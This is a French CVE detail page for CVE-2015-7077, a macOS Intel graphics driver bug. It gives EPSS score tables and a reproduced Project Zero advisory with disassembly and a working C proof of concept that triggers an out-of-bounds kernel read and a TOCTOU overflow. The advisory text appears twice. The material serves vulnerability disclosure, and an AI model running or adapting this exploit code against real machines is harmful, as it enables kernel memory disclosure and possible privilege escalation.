CVE-2015-7077 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.83%	–	–
2022-02-13	–	–	1.83%	–	–
2022-04-03	–	–	1.83%	–	–
2022-06-19	–	–	1.83%	–	–
2022-10-30	–	–	1.83%	–	–
2023-01-01	–	–	1.83%	–	–
2023-01-15	–	–	1.83%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.95%
2025-03-30	–	–	–	–	0.83%
2025-03-30	–	–	–	–	0.83,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-02-13	55%
2022-04-03	75%
2022-06-19	76%
2022-10-30	77%
2023-01-01	76%
2023-01-15	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	75%
2025-03-30	72%
2025-03-30	72%

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=596 The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure (passed in rsi) but doesn't check the size of that structure (passed in rcx.) __text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near __text:000000000002A366 ; DATA XREF: __const:000000000005BF88o __text:000000000002A366 push rbp __text:000000000002A367 mov rbp, rsp __text:000000000002A36A push r15 __text:000000000002A36C push r14 __text:000000000002A36E push r12 __text:000000000002A370 push rbx __text:000000000002A371 mov rax, rdx __text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data __text:000000000002A377 mov r14, rdi __text:000000000002A37A mov edx, [r15+800h] ; <-- size never checked -> oob read __text:000000000002A381 cmp edx, 200h __text:000000000002A387 jbe short loc_2A3AD __text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"... __text:000000000002A390 lea rsi, aGst_configure ; "gst_configure" __text:000000000002A397 mov ecx, 200h __text:000000000002A39C xor eax, eax __text:000000000002A39E call _IOLog here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200. This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read. The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log which we can read from userspace allowing us to disclose some kernel memory. However, we can do more: r15 is passed to IntelAccelerator::gstqConfigure: mov rsi, r15 call __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec where we reach the following code: __text:000000000001DC29 mov edx, [rsi+800h] __text:000000000001DC2F shl rdx, 2 ; size_t __text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void * __text:000000000001DC3A call _memcpy here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer. Since the struct input comes from a mach message this heap grooming shouldn't be that difficult. clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit repro: while true; ./ig_gl_gst_oob_read; done Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ // ianbeer /* Lack of bounds checking in gst_configure leads to kernel buffer overflow due to toctou (plus kernel memory disclosure) The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure (passed in rsi) but doesn't check the size of that structure (passed in rcx.) __text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near __text:000000000002A366 ; DATA XREF: __const:000000000005BF88o __text:000000000002A366 push rbp __text:000000000002A367 mov rbp, rsp __text:000000000002A36A push r15 __text:000000000002A36C push r14 __text:000000000002A36E push r12 __text:000000000002A370 push rbx __text:000000000002A371 mov rax, rdx __text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data __text:000000000002A377 mov r14, rdi __text:000000000002A37A mov edx, [r15+800h] ; <-- size never checked -> oob read __text:000000000002A381 cmp edx, 200h __text:000000000002A387 jbe short loc_2A3AD __text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"... __text:000000000002A390 lea rsi, aGst_configure ; "gst_configure" __text:000000000002A397 mov ecx, 200h __text:000000000002A39C xor eax, eax __text:000000000002A39E call _IOLog here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200. This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read. The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log which we can read from userspace allowing us to disclose some kernel memory. However, we can do more: r15 is passed to IntelAccelerator::gstqConfigure: mov rsi, r15 call __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec where we reach the following code: __text:000000000001DC29 mov edx, [rsi+800h] __text:000000000001DC2F shl rdx, 2 ; size_t __text:000000000001DC33 lea rdi, _gstCustomCounterConfigPair ; void * __text:000000000001DC3A call _memcpy here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer. Since the struct input comes from a mach message this heap grooming shouldn't be that difficult. clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit repro: while true; ./ig_gl_gst_oob_read; done Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> #include <IOKit/IOKitLib.h> int main(int argc, char** argv){ kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator"); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0; outputScalarCnt = 0; outputStructCnt = 0; inputStructCnt = 0x30; err = IOConnectCallMethod( conn, 0x205, //gst_operation inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); printf("that was an error in the first call, don't care!\n"); } inputStructCnt = 0x1; err = IOConnectCallMethod( conn, 0x206, //gst_configure inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); return 0; } }